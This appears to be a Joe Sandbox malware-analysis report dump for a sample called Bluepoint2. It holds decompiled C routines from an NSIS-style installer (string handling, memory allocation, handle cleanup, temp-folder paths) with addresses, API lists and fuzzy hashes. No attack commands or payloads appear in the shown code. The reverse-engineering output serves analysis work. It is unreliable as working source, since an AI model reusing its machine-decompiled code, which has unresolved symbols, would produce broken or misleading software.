                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: CharPrevlstrcatlstrlen
                                                    • String ID: C:\Users\user\AppData\Local\Temp\
                                                    • API String ID: 2659869361-3936084776
                                                    • Opcode ID: 7317fb0b60a0da6156192e69c80d181f5022b3d5f83b8f009beaa75eacd33bdb
                                                    • Instruction ID: 9007417a49851ea4d61da9c71e51c63d156abd36d345156a737e00ee84923012
                                                    • Opcode Fuzzy Hash: 7317fb0b60a0da6156192e69c80d181f5022b3d5f83b8f009beaa75eacd33bdb
                                                    • Instruction Fuzzy Hash: 59D05E611019246AC111AB548D04DDB63ACAE85304742046AF601B60A0CB7E196287ED
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 91%
                                                    			E726F10E1(signed int _a8, intOrPtr* _a12, void* _a16, void* _a20) {
                                                    				void* _v0;
                                                    				void* _t27;
                                                    				signed int _t29;
                                                    				void* _t30;
                                                    				void* _t34;
                                                    				void* _t36;
                                                    				void* _t38;
                                                    				void* _t40;
                                                    				void* _t48;
                                                    				void* _t54;
                                                    				void* _t63;
                                                    				void* _t64;
                                                    				signed int _t66;
                                                    				void* _t67;
                                                    				void* _t73;
                                                    				void* _t74;
                                                    				void* _t77;
                                                    				void* _t80;
                                                    				void _t81;
                                                    				void _t82;
                                                    				intOrPtr _t84;
                                                    				void* _t86;
                                                    				void* _t88;
                                                    
                                                    				 *0x726f506c = _a8;
                                                    				 *0x726f5070 = _a16;
                                                    				 *0x726f5074 = _a12;
                                                    				_a12( *0x726f5048, E726F1651, _t73);
                                                    				_t66 =  *0x726f506c +  *0x726f506c * 4 << 3;
                                                    				_t27 = E726F12E3();
                                                    				_v0 = _t27;
                                                    				_t74 = _t27;
                                                    				if( *_t27 == 0) {
                                                    					L28:
                                                    					return GlobalFree(_t27);
                                                    				}
                                                    				do {
                                                    					_t29 =  *_t74 & 0x0000ffff;
                                                    					_t67 = 2;
                                                    					_t74 = _t74 + _t67;
                                                    					_t88 = _t29 - 0x66;
                                                    					if(_t88 > 0) {
                                                    						_t30 = _t29 - 0x6c;
                                                    						if(_t30 == 0) {
                                                    							L23:
                                                    							_t31 =  *0x726f5040;
                                                    							if( *0x726f5040 == 0) {
                                                    								goto L26;
                                                    							}
                                                    							E726F1603( *0x726f5074, _t31 + 4, _t66);
                                                    							_t34 =  *0x726f5040;
                                                    							_t86 = _t86 + 0xc;
                                                    							 *0x726f5040 =  *_t34;
                                                    							L25:
                                                    							GlobalFree(_t34);
                                                    							goto L26;
                                                    						}
                                                    						_t36 = _t30 - 4;
                                                    						if(_t36 == 0) {
                                                    							L13:
                                                    							_t38 = ( *_t74 & 0x0000ffff) - 0x30;
                                                    							_t74 = _t74 + _t67;
                                                    							_t34 = E726F1312(E726F135A(_t38));
                                                    							L14:
                                                    							goto L25;
                                                    						}
                                                    						_t40 = _t36 - _t67;
                                                    						if(_t40 == 0) {
                                                    							L11:
                                                    							_t80 = ( *_t74 & 0x0000ffff) - 0x30;
                                                    							_t74 = _t74 + _t67;
                                                    							_t34 = E726F1381(_t80, E726F12E3());
                                                    							goto L14;
                                                    						}
                                                    						L8:
                                                    						if(_t40 == 1) {
                                                    							_t81 = GlobalAlloc(0x40, _t66 + 4);
                                                    							_t10 = _t81 + 4; // 0x4
                                                    							E726F1603(_t10,  *0x726f5074, _t66);
                                                    							_t86 = _t86 + 0xc;
                                                    							 *_t81 =  *0x726f5040;
                                                    							 *0x726f5040 = _t81;
                                                    						}
                                                    						goto L26;
                                                    					}
                                                    					if(_t88 == 0) {
                                                    						_t48 =  *0x726f5070;
                                                    						_t77 =  *_t48;
                                                    						 *_t48 =  *_t77;
                                                    						_t49 = _v0;
                                                    						_t84 =  *((intOrPtr*)(_v0 + 0xc));
                                                    						if( *((short*)(_t77 + 4)) == 0x2691) {
                                                    							E726F1603(_t49, _t77 + 8, 0x38);
                                                    							_t86 = _t86 + 0xc;
                                                    						}
                                                    						 *((intOrPtr*)( *_a12 + 0xc)) = _t84;
                                                    						GlobalFree(_t77);
                                                    						goto L26;
                                                    					}
                                                    					_t54 = _t29 - 0x46;
                                                    					if(_t54 == 0) {
                                                    						_t82 = GlobalAlloc(0x40,  *0x726f506c +  *0x726f506c + 8);
                                                    						 *((intOrPtr*)(_t82 + 4)) = 0x2691;
                                                    						_t14 = _t82 + 8; // 0x8
                                                    						E726F1603(_t14, _v0, 0x38);
                                                    						_t86 = _t86 + 0xc;
                                                    						 *_t82 =  *( *0x726f5070);
                                                    						 *( *0x726f5070) = _t82;
                                                    						goto L26;
                                                    					}
                                                    					_t63 = _t54 - 6;
                                                    					if(_t63 == 0) {
                                                    						goto L23;
                                                    					}
                                                    					_t64 = _t63 - 4;
                                                    					if(_t64 == 0) {
                                                    						 *_t74 =  *_t74 + 0xa;
                                                    						goto L13;
                                                    					}
                                                    					_t40 = _t64 - _t67;
                                                    					if(_t40 == 0) {
                                                    						 *_t74 =  *_t74 + 0xa;
                                                    						goto L11;
                                                    					}
                                                    					goto L8;
                                                    					L26:
                                                    				} while ( *_t74 != 0);
                                                    				_t27 = _v0;
                                                    				goto L28;
                                                    			}


























                                                    0x726f10eb
                                                    0x726f1100
                                                    0x726f1109
                                                    0x726f110e
                                                    0x726f1119
                                                    0x726f111c
                                                    0x726f1125
                                                    0x726f1129
                                                    0x726f112b
                                                    0x726f12b0
                                                    0x726f12ba
                                                    0x726f12ba
                                                    0x726f1132
                                                    0x726f1132
                                                    0x726f1137
                                                    0x726f1138
                                                    0x726f113a
                                                    0x726f113d
                                                    0x726f1256
                                                    0x726f1259
                                                    0x726f1271
                                                    0x726f1271
                                                    0x726f1278
                                                    0x00000000
                                                    0x00000000
                                                    0x726f1285
                                                    0x726f128a
                                                    0x726f128f
                                                    0x726f1294
                                                    0x726f129a
                                                    0x726f129b
                                                    0x00000000
                                                    0x726f129b
                                                    0x726f125b
                                                    0x726f125e
                                                    0x726f11bc
                                                    0x726f11bf
                                                    0x726f11c2
                                                    0x726f11cb
                                                    0x726f11d0
                                                    0x00000000
                                                    0x726f11d1
                                                    0x726f1264
                                                    0x726f1266
                                                    0x726f11a2
                                                    0x726f11a5
                                                    0x726f11a8
                                                    0x726f11b1
                                                    0x00000000
                                                    0x726f11b1
                                                    0x726f1164
                                                    0x726f1165
                                                    0x726f1177
                                                    0x726f1180
                                                    0x726f1184
                                                    0x726f118e
                                                    0x726f1191
                                                    0x726f1193
                                                    0x726f1193
                                                    0x00000000
                                                    0x726f1165
                                                    0x726f1143
                                                    0x726f1218
                                                    0x726f121d
                                                    0x726f1221
                                                    0x726f1223
                                                    0x726f122c
                                                    0x726f122f
                                                    0x726f1238
                                                    0x726f123d
                                                    0x726f123d
                                                    0x726f1247
                                                    0x726f124a
                                                    0x00000000
                                                    0x726f1250
                                                    0x726f1149
                                                    0x726f114c
                                                    0x726f11e9
                                                    0x726f11ed
                                                    0x726f11f7
                                                    0x726f11fb
                                                    0x726f1205
                                                    0x726f120a
                                                    0x726f1211
                                                    0x00000000
                                                    0x726f1211
                                                    0x726f1152
                                                    0x726f1155
                                                    0x00000000
                                                    0x00000000
                                                    0x726f115b
                                                    0x726f115e
                                                    0x726f11b8
                                                    0x00000000
                                                    0x726f11b8
                                                    0x726f1160
                                                    0x726f1162
                                                    0x726f119e
                                                    0x00000000
                                                    0x726f119e
                                                    0x00000000
                                                    0x726f12a1
                                                    0x726f12a1
                                                    0x726f12ab
                                                    0x00000000

                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.881139933.00000000726F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 726F0000, based on PE: true
                                                    • Associated: 00000000.00000002.881121829.00000000726F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000000.00000002.881178498.00000000726F4000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000000.00000002.881186442.00000000726F6000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_726f0000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: Global$Free$Alloc
                                                    • String ID:
                                                    • API String ID: 1780285237-0
                                                    • Opcode ID: 80835de1976ef7e1de1cad746fc749454129f9aafd6cf7c485be072c4d815c4c
                                                    • Instruction ID: 140f8e10d0fe7da335edc3c6fb3c9bee27306fe727618730291862fc56c81bca
                                                    • Opcode Fuzzy Hash: 80835de1976ef7e1de1cad746fc749454129f9aafd6cf7c485be072c4d815c4c
                                                    • Instruction Fuzzy Hash: 12518EB6940201DFDF00CFADC888B197BB8FB05395B10599BEA06DB694E7309E90CF54
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 92%
                                                    			E0040263E(void* __ebx, void* __edx, intOrPtr* __edi) {
                                                    				signed int _t14;
                                                    				int _t17;
                                                    				void* _t24;
                                                    				intOrPtr* _t29;
                                                    				void* _t31;
                                                    				signed int _t32;
                                                    				void* _t35;
                                                    				void* _t40;
                                                    				signed int _t42;
                                                    
                                                    				_t29 = __edi;
                                                    				_t24 = __ebx;
                                                    				_t14 =  *(_t35 - 0x28);
                                                    				_t40 = __edx - 0x38;
                                                    				 *(_t35 - 0x10) = _t14;
                                                    				_t27 = 0 | _t40 == 0x00000000;
                                                    				_t32 = _t40 == 0;
                                                    				if(_t14 == __ebx) {
                                                    					if(__edx != 0x38) {
                                                    						_t17 = lstrlenW(E00402DA6(0x11)) + _t16;
                                                    					} else {
                                                    						E00402DA6(0x21);
                                                    						E0040668A("C:\Users\engineer\AppData\Local\Temp\nsg1F62.tmp", "C:\Users\engineer\AppData\Local\Temp\nsg1F62.tmp\System.dll", 0x400);
                                                    						_t17 = lstrlenA("C:\Users\engineer\AppData\Local\Temp\nsg1F62.tmp\System.dll");
                                                    					}
                                                    				} else {
                                                    					E00402D84(1);
                                                    					 *0x40adf8 = __ax;
                                                    					 *((intOrPtr*)(__ebp - 0x44)) = __edx;
                                                    				}
                                                    				 *(_t35 + 8) = _t17;
                                                    				if( *_t29 == _t24) {
                                                    					L13:
                                                    					 *((intOrPtr*)(_t35 - 4)) = 1;
                                                    				} else {
                                                    					_t31 = E004065C8(_t27, _t29);
                                                    					if((_t32 |  *(_t35 - 0x10)) != 0 ||  *((intOrPtr*)(_t35 - 0x24)) == _t24 || E00406239(_t31, _t31) >= 0) {
                                                    						_t14 = E0040620A(_t31, "C:\Users\engineer\AppData\Local\Temp\nsg1F62.tmp\System.dll",  *(_t35 + 8));
                                                    						_t42 = _t14;
                                                    						if(_t42 == 0) {
                                                    							goto L13;
                                                    						}
                                                    					} else {
                                                    						goto L13;
                                                    					}
                                                    				}
                                                    				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t35 - 4));
                                                    				return 0;
                                                    			}












                                                    0x0040263e
                                                    0x0040263e
                                                    0x0040263e
                                                    0x00402643
                                                    0x00402646
                                                    0x00402649
                                                    0x0040264e
                                                    0x00402650
                                                    0x00402670
                                                    0x004026aa
                                                    0x00402672
                                                    0x00402674
                                                    0x00402688
                                                    0x00402695
                                                    0x00402695
                                                    0x00402652
                                                    0x00402654
                                                    0x00402659
                                                    0x00402667
                                                    0x0040266a
                                                    0x004026af
                                                    0x004026b2
                                                    0x0040292e
                                                    0x0040292e
                                                    0x004026b8
                                                    0x004026c1
                                                    0x004026c3
                                                    0x004026e2
                                                    0x004015b4
                                                    0x004015b6
                                                    0x00000000
                                                    0x004015bc
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x004026c3
                                                    0x00402c2d
                                                    0x00402c39

                                                    APIs
                                                    • lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsg1F62.tmp\System.dll), ref: 00402695
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: lstrlen
                                                    • String ID: C:\Users\user\AppData\Local\Temp\nsg1F62.tmp$C:\Users\user\AppData\Local\Temp\nsg1F62.tmp\System.dll
                                                    • API String ID: 1659193697-160321102
                                                    • Opcode ID: 4a9067d827a4b8c099a0c03f7ab0fb9ba25826a25fc5163b758c2c2faf7004e8
                                                    • Instruction ID: f1e3379d491753f9d96dc3c217618d2e64da59e9cc8309568291ba5d2d488428
                                                    • Opcode Fuzzy Hash: 4a9067d827a4b8c099a0c03f7ab0fb9ba25826a25fc5163b758c2c2faf7004e8
                                                    • Instruction Fuzzy Hash: D511C472A00205EBCB10BBB18E4AA9E76619F44758F21483FE402B61C1DAFD8891965F
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 100%
                                                    			E00403C25() {
                                                    				void* _t1;
                                                    				void* _t2;
                                                    				signed int _t11;
                                                    
                                                    				_t1 =  *0x40a018; // 0x2c4
                                                    				if(_t1 != 0xffffffff) {
                                                    					CloseHandle(_t1);
                                                    					 *0x40a018 =  *0x40a018 | 0xffffffff;
                                                    				}
                                                    				_t2 =  *0x40a01c; // 0x298
                                                    				if(_t2 != 0xffffffff) {
                                                    					CloseHandle(_t2);
                                                    					 *0x40a01c =  *0x40a01c | 0xffffffff;
                                                    					_t11 =  *0x40a01c;
                                                    				}
                                                    				E00403C82();
                                                    				return E00405D74(_t11, L"C:\\Users\\engineer\\AppData\\Local\\Temp\\nsg1F62.tmp", 7);
                                                    			}






                                                    0x00403c25
                                                    0x00403c34
                                                    0x00403c37
                                                    0x00403c39
                                                    0x00403c39
                                                    0x00403c40
                                                    0x00403c48
                                                    0x00403c4b
                                                    0x00403c4d
                                                    0x00403c4d
                                                    0x00403c4d
                                                    0x00403c54
                                                    0x00403c66

                                                    APIs
                                                    • CloseHandle.KERNEL32(000002C4,C:\Users\user\AppData\Local\Temp\,00403B71,?), ref: 00403C37
                                                    • CloseHandle.KERNEL32(00000298,C:\Users\user\AppData\Local\Temp\,00403B71,?), ref: 00403C4B
                                                    Strings
                                                    • C:\Users\user\AppData\Local\Temp\, xrefs: 00403C2A
                                                    • C:\Users\user\AppData\Local\Temp\nsg1F62.tmp, xrefs: 00403C5B
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: CloseHandle
                                                    • String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nsg1F62.tmp
                                                    • API String ID: 2962429428-4187736892
                                                    • Opcode ID: 3450910aa3eb4a83e9339ad550daa728f038e8843dee50fd20da138f79135bda
                                                    • Instruction ID: ab9e488bef71b432d29da19662b82269d7b8f1628316f3e3d8f7e3aa77a32ace
                                                    • Opcode Fuzzy Hash: 3450910aa3eb4a83e9339ad550daa728f038e8843dee50fd20da138f79135bda
                                                    • Instruction Fuzzy Hash: 3BE0863244471496E5246F7DAF4D9853B285F413357248726F178F60F0C7389A9B4A9D
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 53%
                                                    			E0040603F(void* __eflags, intOrPtr _a4) {
                                                    				int _t11;
                                                    				signed char* _t12;
                                                    				intOrPtr _t18;
                                                    				intOrPtr* _t21;
                                                    				signed int _t23;
                                                    
                                                    				E00406668(0x425f50, _a4);
                                                    				_t21 = E00405FE2(0x425f50);
                                                    				if(_t21 != 0) {
                                                    					E004068EF(_t21);
                                                    					if(( *0x42a278 & 0x00000080) == 0) {
                                                    						L5:
                                                    						_t23 = _t21 - 0x425f50 >> 1;
                                                    						while(1) {
                                                    							_t11 = lstrlenW(0x425f50);
                                                    							_push(0x425f50);
                                                    							if(_t11 <= _t23) {
                                                    								break;
                                                    							}
                                                    							_t12 = E0040699E();
                                                    							if(_t12 == 0 || ( *_t12 & 0x00000010) != 0) {
                                                    								E00405F83(0x425f50);
                                                    								continue;
                                                    							} else {
                                                    								goto L1;
                                                    							}
                                                    						}
                                                    						E00405F37();
                                                    						return 0 | GetFileAttributesW(??) != 0xffffffff;
                                                    					}
                                                    					_t18 =  *_t21;
                                                    					if(_t18 == 0 || _t18 == 0x5c) {
                                                    						goto L1;
                                                    					} else {
                                                    						goto L5;
                                                    					}
                                                    				}
                                                    				L1:
                                                    				return 0;
                                                    			}








                                                    0x0040604b
                                                    0x00406056
                                                    0x0040605a
                                                    0x00406061
                                                    0x0040606d
                                                    0x0040607d
                                                    0x0040607f
                                                    0x00406097
                                                    0x00406098
                                                    0x0040609f
                                                    0x004060a0
                                                    0x00000000
                                                    0x00000000
                                                    0x00406083
                                                    0x0040608a
                                                    0x00406092
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x0040608a
                                                    0x004060a2
                                                    0x00000000
                                                    0x004060b6
                                                    0x0040606f
                                                    0x00406075
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00000000
                                                    0x00406075
                                                    0x0040605c
                                                    0x00000000

                                                    APIs
                                                      • Part of subcall function 00406668: lstrcpynW.KERNEL32(?,?,00000400,004037B0,00429260,NSIS Error), ref: 00406675
                                                      • Part of subcall function 00405FE2: CharNextW.USER32(?,?,00425F50,?,00406056,00425F50,00425F50,76F1FAA0,?,76F1F560,00405D94,?,76F1FAA0,76F1F560,00000000), ref: 00405FF0
                                                      • Part of subcall function 00405FE2: CharNextW.USER32(00000000), ref: 00405FF5
                                                      • Part of subcall function 00405FE2: CharNextW.USER32(00000000), ref: 0040600D
                                                    • lstrlenW.KERNEL32(00425F50,00000000,00425F50,00425F50,76F1FAA0,?,76F1F560,00405D94,?,76F1FAA0,76F1F560,00000000), ref: 00406098
                                                    • GetFileAttributesW.KERNEL32(00425F50,00425F50,00425F50,00425F50,00425F50,00425F50,00000000,00425F50,00425F50,76F1FAA0,?,76F1F560,00405D94,?,76F1FAA0,76F1F560), ref: 004060A8
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: CharNext$AttributesFilelstrcpynlstrlen
                                                    • String ID: P_B
                                                    • API String ID: 3248276644-906794629
                                                    • Opcode ID: 900e3a3aedd828ccf636743a116f58552bc6887dcb5d3e9637a901da882d1290
                                                    • Instruction ID: df110f430b83b9381375b5fd3fa67f6c4419d4890c6468873e0fced3c2676832
                                                    • Opcode Fuzzy Hash: 900e3a3aedd828ccf636743a116f58552bc6887dcb5d3e9637a901da882d1290
                                                    • Instruction Fuzzy Hash: 0DF07826144A1216E622B23A0C05BAF05098F82354B07063FFC93B22E1DF3C8973C43E
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%

                                                    C-Code - Quality: 100%
                                                    			E004060BD(void* __ecx, CHAR* _a4, CHAR* _a8) {
                                                    				int _v8;
                                                    				int _t12;
                                                    				int _t14;
                                                    				int _t15;
                                                    				CHAR* _t17;
                                                    				CHAR* _t27;
                                                    
                                                    				_t12 = lstrlenA(_a8);
                                                    				_t27 = _a4;
                                                    				_v8 = _t12;
                                                    				while(lstrlenA(_t27) >= _v8) {
                                                    					_t14 = _v8;
                                                    					 *(_t14 + _t27) =  *(_t14 + _t27) & 0x00000000;
                                                    					_t15 = lstrcmpiA(_t27, _a8);
                                                    					_t27[_v8] =  *(_t14 + _t27);
                                                    					if(_t15 == 0) {
                                                    						_t17 = _t27;
                                                    					} else {
                                                    						_t27 = CharNextA(_t27);
                                                    						continue;
                                                    					}
                                                    					L5:
                                                    					return _t17;
                                                    				}
                                                    				_t17 = 0;
                                                    				goto L5;
                                                    			}









                                                    0x004060cd
                                                    0x004060cf
                                                    0x004060d2
                                                    0x004060fe
                                                    0x004060d7
                                                    0x004060e0
                                                    0x004060e5
                                                    0x004060f0
                                                    0x004060f3
                                                    0x0040610f
                                                    0x004060f5
                                                    0x004060fc
                                                    0x00000000
                                                    0x004060fc
                                                    0x00406108
                                                    0x0040610c
                                                    0x0040610c
                                                    0x00406106
                                                    0x00000000

                                                    APIs
                                                    • lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060CD
                                                    • lstrcmpiA.KERNEL32(00000000,00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060E5
                                                    • CharNextA.USER32(00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060F6
                                                    • lstrlenA.KERNEL32(00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060FF
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.879975607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.879968063.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879985321.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.879989484.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880011344.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880018380.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880022845.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880028225.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.880037072.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_Bluepoint2.jbxd
                                                    Similarity
                                                    • API ID: lstrlen$CharNextlstrcmpi
                                                    • String ID:
                                                    • API String ID: 190613189-0
                                                    • Opcode ID: 4f145c51a58837bd7eda372618efc6ab74ada67201017ca859b4805a40dfc06b
                                                    • Instruction ID: 2f06b96f93541eceebcae48a9adfe7aedd37cb678349478f8cad11de2473fd3e
                                                    • Opcode Fuzzy Hash: 4f145c51a58837bd7eda372618efc6ab74ada67201017ca859b4805a40dfc06b
                                                    • Instruction Fuzzy Hash: 0BF0F631104054FFDB12DFA4CD00D9EBBA8EF06350B2640BAE841FB321D674DE11A798
                                                    Uniqueness

                                                    Uniqueness Score: -1.00%